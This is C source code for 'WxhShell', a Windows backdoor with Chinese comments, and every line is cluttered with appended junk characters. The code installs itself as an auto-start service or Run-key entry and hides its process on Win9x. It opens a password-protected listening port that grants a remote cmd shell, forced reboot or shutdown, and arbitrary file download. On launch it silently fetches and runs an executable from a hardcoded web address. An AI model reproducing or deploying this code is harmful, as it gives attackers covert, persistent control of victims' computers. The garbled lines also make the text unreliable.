if(!OsIsNt) { 6qq{JbK
// 如果时win9x，隐藏进程并且设置为注册表启动 0\}%~e
HideProc(); {>8u/
StartWxhshell(lpCmdLine); ;vLg4k
} .jvRUD8A7
else ,n\'dMNii
if(StartFromService()) /I@Dv?
// 以服务方式启动 xa$p,_W:'
StartServiceCtrlDispatcher(DispatchTable); uZkh.0yB
else I%gDqfdL
// 普通方式启动 aOK,Mm:iO
StartWxhshell(lpCmdLine); Hsvu&>[`S
;1Zz-@
return 0; ~$:=hT1
} bZ_vb? n
rIo)'L$uU
V{+5Fas^l
{Tl|>\[P
=========================================== )9? ^;HS
q:X&)f
SC/V3fW,
SRBQ"X[M2
`vj"HhC
4M{]YZMw8
" N\Li/
tG}cmK~%
#include <stdio.h> N9jSiRJ
#include <string.h> pG0Ca](
#include <windows.h> , \ 6*fXc
#include <winsock2.h> |6y(7Ha
#include <winsvc.h> $S_G:}tna
#include <urlmon.h> \V/;i.ng
<|R`N)AV;
#pragma comment (lib, "Ws2_32.lib") DP<[Uz&
#pragma comment (lib, "urlmon.lib") l d@B
3,4m|Z2)
#define MAX_USER 100 // 最大客户端连接数 +ZU@MOni
#define BUF_SOCK 200 // sock buffer NP< {WL#
#define KEY_BUFF 255 // 输入 buffer /C"?Y'
R<AT}!mkR
#define REBOOT 0 // 重启 nW7Ew<`Q
#define SHUTDOWN 1 // 关机 NNM+Z:
Tyk\l>S
#define DEF_PORT 5000 // 监听端口 >+8Kl`2sw;
AKkr )VgY
#define REG_LEN 16 // 注册表键长度 C0.bjFT|
#define SVC_LEN 80 // NT服务名长度 Al1BnFB
9Vh>ty1|_
// 从dll定义API ^ua8Ya
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); syR +;
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f1}am<
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;*=MI/"N
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +K"8Q'&t
-D-]tL6w
// wxhshell配置信息 iD-,C`
struct WSCFG { Pe<}kS m4
int ws_port; // 监听端口 !1<?ddH6
char ws_passstr[REG_LEN]; // 口令 Wo[*P\8
int ws_autoins; // 安装标记, 1=yes 0=no ~D$?.,=l
char ws_regname[REG_LEN]; // 注册表键名 LtIw{*3
char ws_svcname[REG_LEN]; // 服务名 J0Ik@
char ws_svcdisp[SVC_LEN]; // 服务显示名 &Y/Myh[P
char ws_svcdesc[SVC_LEN]; // 服务描述信息 U#{^29ik=o
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <~}#Q,9
int ws_downexe; // 下载执行标记, 1=yes 0=no s)<^YASg
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z+?V10$
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n0*a.
Q $5U5hb
}; VM[U&g<8n
B]-~hP
// default Wxhshell configuration P.Uz[_&l6
struct WSCFG wscfg={DEF_PORT, *4<Kz{NF
"xuhuanlingzhe", f#3U,n8:
1, L@t}UC
"Wxhshell", RHOEyXhOA
"Wxhshell", (ev(~Wc
"WxhShell Service", KNZN2N)wR
"Wrsky Windows CmdShell Service", *#n?6KqZ
"Please Input Your Password: ", k@i+gV%
1, *'q6#\#.
"http://www.wrsky.com/wxhshell.exe", Q\ AM] U
"Wxhshell.exe" paG^W&`;
}; vUa&9Y
8ezdU"
// 消息定义模块 9Nkr=/I"P
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A^9RGz4=
char *msg_ws_prompt="\n\r? for help\n\r#>"; yS)73s/MrY
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @! gJOy
char *msg_ws_ext="\n\rExit."; -(Y(K!n
char *msg_ws_end="\n\rQuit."; 6AW{qU6
char *msg_ws_boot="\n\rReboot..."; $B3<"
char *msg_ws_poff="\n\rShutdown..."; )`sEdVxbr
char *msg_ws_down="\n\rSave to "; r?l7_aBv3
D$wl.r
char *msg_ws_err="\n\rErr!"; j~)GZV
char *msg_ws_ok="\n\rOK!"; 5[py{Gq
p[zKc2TPk
char ExeFile[MAX_PATH]; NLz[F`I
int nUser = 0; fA k]]PU
HANDLE handles[MAX_USER]; :s}6a23
int OsIsNt; c[I4'x
!M&Qca2
SERVICE_STATUS serviceStatus; l; ._ ?H
SERVICE_STATUS_HANDLE hServiceStatusHandle; ,+gU^dc|hq
/4}B}"`Sl=
// 函数声明 ^D=1%@l?#
int Install(void); HL^+:`,
int Uninstall(void); #Pf?.NrTn
int DownloadFile(char *sURL, SOCKET wsh); =@%Ukrd@
int Boot(int flag); `=zlS"dQ
void HideProc(void); a->;K+
int GetOsVer(void); \.`;p
int Wxhshell(SOCKET wsl); /ehmy(zL
void TalkWithClient(void *cs); 4zRz U
int CmdShell(SOCKET sock); r}1.=a
int StartFromService(void); K>tubLYh
int StartWxhshell(LPSTR lpCmdLine); xDU{I0M
tLz,t&h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #c?xJ&bh
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m~#f L
L>&o_bzp
// 数据结构和表定义 \x,q(npHi
SERVICE_TABLE_ENTRY DispatchTable[] = |A'y|/)#Z
{ j0XS12eM
{wscfg.ws_svcname, NTServiceMain}, /s'7[bSv
{NULL, NULL} "zn<\z$l
}; mip2=7M|C
5 +Ei!E89
// 自我安装 s?:&#
int Install(void) :oYz=c
{ )dv w.X
char svExeFile[MAX_PATH]; X#|B*t34
HKEY key; ?nLlZpZ2v
strcpy(svExeFile,ExeFile); TQ{rg2_T
A*$JF>`7
// 如果是win9x系统，修改注册表设为自启动 ~6)A/]6
if(!OsIsNt) { /f5*KRM
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lhx"<kR4
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y.O%
RegCloseKey(key); ]WsQ=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #GJ{@C3H8Q
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Hli@:B2s
RegCloseKey(key); >o]!-46
return 0; e;*GbXd|
} LXZ0up-B-
} V>$A\AWw
} e={X{5z0
else { n0ZrgTVJ
wNk 0F7Ck
// 如果是NT以上系统，安装为系统服务 L[|($vQ"
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P1r)n{;
if (schSCManager!=0) OH(w3:;[8
{ %OIJ.
SC_HANDLE schService = CreateService Yq$KYB j
( L<}0}y
schSCManager, .J0Tn,m
wscfg.ws_svcname, 0Z m^6T
wscfg.ws_svcdisp, t-gLh(-.
SERVICE_ALL_ACCESS, KWq&<X5
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TZl^M h[a
SERVICE_AUTO_START, DV8b<)
SERVICE_ERROR_NORMAL, :Zs i5>MT
svExeFile, ^n@dC?
NULL, |#>:@{X<
NULL, 5 $vUdDTg
NULL, l\HLlwYO
NULL, JNJ96wnX1
NULL ;v*J:Mn/=
); |[ )e5Xhd
if (schService!=0) ]52.nxs~
{ uZg[PS=@!X
CloseServiceHandle(schService); 7K5D,"D;1
CloseServiceHandle(schSCManager); jDV;tEY#^
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C8xxR~mq
strcat(svExeFile,wscfg.ws_svcname); YLx4qE
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N4xCZb
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^%qe&Pe2
RegCloseKey(key); |h7 d#V>
return 0; +n)_\@aQ
} a7?)x])e
} TI<?h(*R_
CloseServiceHandle(schSCManager); Hdn%r<+c
} jQ"z\}Wf
} wDvG5
#hQ#_7
return 1; _<8~CWo:
} jO5,PTV
OpNxd]"T
// 自我卸载 Jn#05Z
int Uninstall(void) 5Y3L
{ ;h-W&i7
HKEY key; EL$"/ptE
g0Ff$-#7
if(!OsIsNt) { }3TTtd7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8E+]yB"
RegDeleteValue(key,wscfg.ws_regname); *B3 4
RegCloseKey(key); "8-;Dq'+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { na4^>:r~
RegDeleteValue(key,wscfg.ws_regname); YjR`}rdwo
RegCloseKey(key); =-m"y~{>3
return 0; Qf .ASC
} dc+U#]tS
} 0XWhSrHM
} e|e"lP
else { ,pHQv(K/
*q$O6B-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MV?#g-5
if (schSCManager!=0) "8#EA<lsS
{ ~ubcD6f
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h6(\ tRd!\
if (schService!=0) i>aIuQ`pe
{ y(fJ{k
if(DeleteService(schService)!=0) { SmUj8?6"
CloseServiceHandle(schService); Sp]u5\
CloseServiceHandle(schSCManager); QEQ/
return 0; 5@-[[ $dk
} xo.k:F
CloseServiceHandle(schService); gy*c$[NS$
} ,vh$G 7D
CloseServiceHandle(schSCManager); Gv+$7{
} B4MrrW4=
} Q^{XM
2CY4nSKW
return 1; qGXY
} oO4hBM([
*mjPNp'3{m
// 从指定url下载文件 g@2f&m
int DownloadFile(char *sURL, SOCKET wsh) 1$#1
{ Tv6HPD$[
HRESULT hr; oB$c-!&
char seps[]= "/"; ]pq(Q:"P,5
char *token; eq6>C7.$
char *file; R^?9V=Y<T
char myURL[MAX_PATH]; <5]ufv
char myFILE[MAX_PATH]; xS+!/pBf"Y
`Iqh\oY8-
strcpy(myURL,sURL); Xx+eGV";`
token=strtok(myURL,seps); gA:unsI
while(token!=NULL) 5rH?FQE
{ <f9a%`d
file=token; r]=Z :
token=strtok(NULL,seps); X#<+D1P
} -~Chf4?<4
L-DL)8;`
GetCurrentDirectory(MAX_PATH,myFILE); j@s*hZ^J+
strcat(myFILE, "\\"); \#!B*:u
strcat(myFILE, file); M3VTzwuf^S
send(wsh,myFILE,strlen(myFILE),0); M)"'Q6ck=
send(wsh,"...",3,0); PS3jCT
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y&j'2!g
if(hr==S_OK) ):]5WHYg
return 0; !<vy!pXg
else QmC#1%@a
return 1; GDQQ4-|O
ZV;~IaBL
} (_3QZ
<8ih >s(C
// 系统电源模块 <<PXh&wu0
int Boot(int flag) yioX^`Fc(~
{ b#(X+I
HANDLE hToken; Zd}12HFq
TOKEN_PRIVILEGES tkp; 'Ll'8 ps
N$.=1Q$F6
if(OsIsNt) { c"diNbm[
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H5(:1
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X#o<))
tkp.PrivilegeCount = 1; H6hhU'Kxf8
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a$3]`
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #sE:xIR
if(flag==REBOOT) { k'NP+N<M
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G2&,R{L6w
return 0; D67z6jep(
} QYEGiT
else { b%].D(qBy
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bO*hmDt
return 0; Y,?kS dS
} $ I J^
} +k V$ @qH
else { \A6}=
if(flag==REBOOT) { Myf2"\}
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sJMpF8
return 0; /!sGO:
} uANpqT}!
else { 3G'cDemc
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }:S}jo7
return 0; Bkg./iP5x
} Z>~7|vl
} U ]7;K>.T
';m;K (g
return 1; 3bT?4
} F_&H*kL L3
.hjN*4RY
// win9x进程隐藏模块 >`<qa!9
void HideProc(void) = toU?:.
{ `O!yt
TAq[g|N-;
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wScr:o+K>L
if ( hKernel != NULL ) -"I9`
{ -XnOj2
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BY':R-~(
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gX|\O']6
FreeLibrary(hKernel); g9Ty%|Q7(
} ^O}J',Fm%f
C=bQ2t=Z
return; n]t3d
} 6n;? :./
:\C/mT3xL)
// 获取操作系统版本 "bz.nE*
int GetOsVer(void) P0RtS1A
{ ^])s\a$
OSVERSIONINFO winfo; ?X Rl\V
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1kD1$5
GetVersionEx(&winfo); 9m<%+S5&
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u>:j$@56
return 1; AmQsay#I_
else %/BBl$~ji
return 0; ,!X:wY}dW
} "1`w>(=
,(]k)ym/
// 客户端句柄模块 CAmIwAx6;
int Wxhshell(SOCKET wsl) ],vid1E
{ ,c 0]r;u!
SOCKET wsh; c=^69>w
struct sockaddr_in client; qIB2eCXw
DWORD myID; BqM[{Kv
*1T~ruNqa
while(nUser<MAX_USER) U ,!S1EiBs
{ Kjpsz];
int nSize=sizeof(client); 5kADvi.
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N34bB>_
if(wsh==INVALID_SOCKET) return 1; PnL?zae
qQ1D}c@
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }:[MSUm5
if(handles[nUser]==0) ~M1T @Mv
closesocket(wsh); )\kNufP
else ,Ek6X)|@
nUser++; =LEzcq>XO
} C%j@s|
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nFe
j^eMi
return 0; j&b<YPZ
} lE!.$L*k
%eGD1.R
// 关闭 socket e@&2q{Gi=
void CloseIt(SOCKET wsh) ;yCtk ~T%
{ v&7x ~!O
closesocket(wsh); aC<fzUD;
nUser--; )Y"t$Iw"
ExitThread(0); s?fEorG
} jS5K:yx<
F5M{`:/
// 客户端请求句柄 =$ubSfx
void TalkWithClient(void *cs) #qJ6iA6{
{ ~q}]/0-m
|/Y!R>El
SOCKET wsh=(SOCKET)cs; Ye^xV,U@
char pwd[SVC_LEN]; QkLcs6)R
char cmd[KEY_BUFF]; Ct:c%D(L
char chr[1]; :U]Pm:ivTU
int i,j; W9bpKmc
`8TL*.9
while (nUser < MAX_USER) { Fl"LK:)
RLGIST`
if(wscfg.ws_passstr) { ?}jjBJ&
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D2io3Lo$ov
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~dLe9-_9
//ZeroMemory(pwd,KEY_BUFF); Rn{X+b.
i=0; +!G)N~o
while(i<SVC_LEN) { zP/SDW
"c![s%
// 设置超时 5z" X>!?^
fd_set FdRead; jtqU`|FSQ
struct timeval TimeOut; :z$+leNH\
FD_ZERO(&FdRead); 6']WOM#
FD_SET(wsh,&FdRead); w2K>k/v{-
TimeOut.tv_sec=8; x7xQrjE
TimeOut.tv_usec=0; ("=24R=a
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8P2_/)|
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -or)NE
j3>&Su>H4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0iz\<' p
pwd=chr[0]; lnV!Xuf
if(chr[0]==0xd || chr[0]==0xa) { w" A{R
pwd=0; 5)gC<
break; /8P7L'Rb
} 1NK,:m
i++; |;YDRI
} .;&4'ga4
e^hI[LbNC
// 如果是非法用户，关闭 socket ,LL=b-Es
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w}x&wWM
} cn'rBY
Qaiqx"x3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =z}M(<G
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iF"kR]ZL
gyCXv0*z
while(1) { i\{fM}~W$
rP}0B/
ZeroMemory(cmd,KEY_BUFF); KoFWI_(b
-V||1@ |
// 自动支持客户端 telnet标准 KU_""T
j=0; =8DS~J{
while(j<KEY_BUFF) { S#\Cyn2(t
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DWU(ld:_
cmd[j]=chr[0]; {.r9l
if(chr[0]==0xa || chr[0]==0xd) { '8|joj>G=
cmd[j]=0; _No<fz8
break; zBqNE`
} -nB. .q
j++; tj tN<y
} 4& 9V
L#/<y{
// 下载文件 qvRs1yr?q
if(strstr(cmd,"http://")) { \~""<*Hz
send(wsh,msg_ws_down,strlen(msg_ws_down),0); g=S|lVQm
if(DownloadFile(cmd,wsh)) {z8wFL\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w#;y
else -4S4I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Ee&e~"
} Q_|Lv&
else { e]smnf
v79\(BX
switch(cmd[0]) { 8jgamG
n*N`].r#{=
// 帮助 S!7|vb*ko
case '?': { p4lB#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C0'_bTfB
break; @Y+9")?
} 4-q8:5
// 安装 Br"K{g?
case 'i': { N`5 mPE
if(Install()) 5f#]dgBe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BE," lX
else B%KfB VC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ert` ]s~
break; (e[8`C
} /@K1"/fqH
// 卸载 O@,9a~Ghd
case 'r': { 5=P*<Dnj
if(Uninstall()) . AX6xc6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,+E"s3NW
else !a9/8U_>XF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rs:a^W5t
break; R"[U<^
} b`DPf@p^kc
// 显示 wxhshell 所在路径 Lz}mz-N
case 'p': { O.OSLezTQ
char svExeFile[MAX_PATH]; %x|0<@b7-
strcpy(svExeFile,"\n\r"); A$o?_
strcat(svExeFile,ExeFile); P:v|JER
send(wsh,svExeFile,strlen(svExeFile),0); 5U%a$.yr
break; X##hSGQM
} /}RW~ax
// 重启 hdx"/.s
case 'b': { .06[*S
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;bes#|^F
if(Boot(REBOOT)) f;%\4TH?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >^ M=/+<c
else { BFMINq>
closesocket(wsh); yX|0R H
ExitThread(0); #Up X
} ^`oyf{w@
break; S(h+,+289
} $${9 %qPzb
// 关机 eh}{\P
case 'd': { {/SLDyf%Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 84u%_4/
if(Boot(SHUTDOWN)) /l$>W<}@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A>W8^|l6+-
else { 1<d|@9?9`
closesocket(wsh); x6B_5eF
ExitThread(0); XKepk? E
} uj9IK
break; uPveAK}h
} [DO UIR9
// 获取shell !_My]>S
case 's': { ~V<imF
CmdShell(wsh); %vFoTu)2
closesocket(wsh); [agp06 $D?
ExitThread(0); \w\{x0u
break; 0NMekVi
} Erd)P
// 退出 6`Af2Y_
case 'x': { beCTOmC
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?oO<PR}y
CloseIt(wsh); ffqz :6
break; ]Uee!-dZ
} dwAFJhgh
// 离开 U$5 lh
case 'q': { ^%pM$3ov
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^q=D!g
closesocket(wsh); Ot#O];3
WSACleanup(); :;(zA_-
exit(1); dJ}E,rW}
break; DHlCus=ic
} ,Bg)p_B
} Mk~]0d
} ` kG}NJf
1^4z/<ZWm
// 提示信息 \KJ\>2Y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ToWtltCD
} RiX~YLeM
} s]z-d!G
mOkf
return; "\9!9U#!
} bEJz>oyW"
DL0i
// shell模块句柄 b=Y:`&o=[
int CmdShell(SOCKET sock) r)G^V&96
{ 6cV -iDOH
STARTUPINFO si; ]_WB^
ZeroMemory(&si,sizeof(si)); D+ )R_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (ugB3o
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L-T3{I,3
PROCESS_INFORMATION ProcessInfo; RS>;$O_(M
char cmdline[]="cmd"; )d\u_m W^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9$u'2TV
return 0; K9YD)351t
} gfPht 5
m.}Yn,
// 自身启动模式 ?/@~d
int StartFromService(void) e /4{pe+,
{ UE[5Bw?4X
typedef struct :q xd])-
{ 5zqlK-$
DWORD ExitStatus; Sf2pU!5n^
DWORD PebBaseAddress; pS3TD"p
DWORD AffinityMask; 8Q%rBl.
DWORD BasePriority; .UUY9@
ULONG UniqueProcessId; LXIQpD,M
ULONG InheritedFromUniqueProcessId; 7eh<>X!TX
} PROCESS_BASIC_INFORMATION; *P#okwp
i+2fWi6Z+
PROCNTQSIP NtQueryInformationProcess; $ {iV]Xt
}T}9AQ}|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }CiB+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \UdHN=A&
8e`'Ox_5a
HANDLE hProcess; X_}2xo|T
PROCESS_BASIC_INFORMATION pbi; I?l%RdGW
L@"1d.k_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a5v}w7vL
if(NULL == hInst ) return 0; b#:Pl`n6u
39|4)1e
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |]dA`e&y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^=H. .pr
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1kG{z;9
1mLd_]F'F
if (!NtQueryInformationProcess) return 0; FY^[?lj
P,2FH2Eyj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SD"'
if(!hProcess) return 0; 8b0!eB#_Ee
.o(XnY)cgJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l Ikh4T6i
\,-t]$9
CloseHandle(hProcess); _%M5 T
t8Sblgq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :|s!_G<
if(hProcess==NULL) return 0; >IL[eiiPG
T ~9)0A"]
HMODULE hMod; 5AvbKT
char procName[255]; ~w&P]L\dB
unsigned long cbNeeded; )%4%Uo_Xm
l(EDe
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y<Hka'(%
3;wAm/Z:Q
CloseHandle(hProcess); "ooq1 0P
h|=<I)}z
if(strstr(procName,"services")) return 1; // 以服务启动 tgy= .o]
+1Qa7\
return 0; // 注册表启动 ax]Pa*C}
} Xknp*(9
p;[">["
// 主模块 O "jX|5
int StartWxhshell(LPSTR lpCmdLine) sD|P*ir
{ ~i)m(65:
SOCKET wsl; 1:7 uS.
BOOL val=TRUE; $\S;f"IM.
int port=0; DrfOz#a0Uu
struct sockaddr_in door; ,]1oG=`3v
9~bl
if(wscfg.ws_autoins) Install(); 6TN!63{Cz
mVJW"*}8
port=atoi(lpCmdLine); Ck71N3~W
::k>V\;
if(port<=0) port=wscfg.ws_port; MIblx
(=hXt=hZ
WSADATA data; 8VbHZ9Q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "|{3V:e>a
T7vSp<i/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]g#ur@Y%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bPaE;?m
door.sin_family = AF_INET; *h+@a
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8db J'
door.sin_port = htons(port); L*;XjacI]
Who7{|M\'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z:RclDm
closesocket(wsl); c6IFt4)g
return 1; udRum7XW3
} 3=6`'PKRQ
yZ {H
if(listen(wsl,2) == INVALID_SOCKET) { m!{}Y]FZn
closesocket(wsl); 4'&j<Ah[#
return 1; *?;<buJb?
} 1b4aY> Z
Wxhshell(wsl); $U,`M"
WSACleanup(); G~,K$z/-l
bjgf8427I
return 0; Hwr# NKz-
JsNqijVC
} 6kW<i,A -
nZ;h&N-_-
// 以NT服务方式启动 9fk@C/$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PUMh#^g}
{ Y2&>;ym!
DWORD status = 0; /u9Md3q*'
DWORD specificError = 0xfffffff; ,@+7(W
U) tqo_
serviceStatus.dwServiceType = SERVICE_WIN32; s|7(VUPL
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'r KDw06/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |aH;@V
serviceStatus.dwWin32ExitCode = 0; "=cWcztiP
serviceStatus.dwServiceSpecificExitCode = 0; Ri$wt.b
serviceStatus.dwCheckPoint = 0; d/Q}I[J.u
serviceStatus.dwWaitHint = 0; //c<p
Qr`WPTQr"
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z]$RO
if (hServiceStatusHandle==0) return; 1WGcv O)<
n@pm5f
status = GetLastError(); I]qml2
if (status!=NO_ERROR) K6#9HF'2I
{ >KjyxJ7
serviceStatus.dwCurrentState = SERVICE_STOPPED; ahagt9[,:F
serviceStatus.dwCheckPoint = 0; zd)2@jX=
serviceStatus.dwWaitHint = 0; l3Vw?f
serviceStatus.dwWin32ExitCode = status; y %dUry%>
serviceStatus.dwServiceSpecificExitCode = specificError; "=l<%em
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fo63H'7
return; q6Q;9,
} [al,UO
R|PFGhi6"A
serviceStatus.dwCurrentState = SERVICE_RUNNING; x:TBZh?@$
serviceStatus.dwCheckPoint = 0; TNs0^h)
serviceStatus.dwWaitHint = 0; AXBv']Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O.7Q*^_
} >n,RBl
#(o 'G4T
// 处理NT服务事件，比如：启动、停止 3L24|-GxH
VOID WINAPI NTServiceHandler(DWORD fdwControl) 28l",j)S
{ >G`=8Ku
switch(fdwControl) xk}(u`:.
{ &FrW(>2
case SERVICE_CONTROL_STOP: fMjn8.
serviceStatus.dwWin32ExitCode = 0; te?R(&
serviceStatus.dwCurrentState = SERVICE_STOPPED; *uYnu|UQH
serviceStatus.dwCheckPoint = 0; kc&>l(
serviceStatus.dwWaitHint = 0; MpbH!2J
{ TGxspmY6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #4h_(Y
} ajy.K'B*
return; 6x\+j
case SERVICE_CONTROL_PAUSE: uHdrHP
serviceStatus.dwCurrentState = SERVICE_PAUSED; /p~Wk4'
break; ^FSUK
case SERVICE_CONTROL_CONTINUE: l" y==y
serviceStatus.dwCurrentState = SERVICE_RUNNING; XAuB.)|
break; 7+aTrE{
case SERVICE_CONTROL_INTERROGATE: l 6wX18~XJ
break; CFJ F}aW
}; n50XGv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ri?eKy.-g
} ^n5[pF}Gw
Tfc5R;Rw
// 标准应用程序主函数 *JXiOs
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~F/pJN`
{ t5h]]TOz
mLM$dk3
// 获取操作系统版本 kvh}{@|-
OsIsNt=GetOsVer(); _5Q?]-M
GetModuleFileName(NULL,ExeFile,MAX_PATH); }S6Sz&)
Vm]ltiTVk
// 从命令行安装 ADRjCk}I
if(strpbrk(lpCmdLine,"iI")) Install(); Oqzz9+
"m3:HS
// 下载执行文件 D%cWw0Oq
if(wscfg.ws_downexe) { | ]`gps
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P[PBoRd2
WinExec(wscfg.ws_filenam,SW_HIDE); )AOD~T4s7
} #ej^K |Qx
za7h.yK}
if(!OsIsNt) { H<|I&nV
// 如果时win9x，隐藏进程并且设置为注册表启动 .E|Hk,c9
HideProc(); +F ~;Q$T
StartWxhshell(lpCmdLine); lpkg(J#&
} XtfO;`
else O4FW/)gq
if(StartFromService()) ,YFuMek
// 以服务方式启动 rAD5n,M]
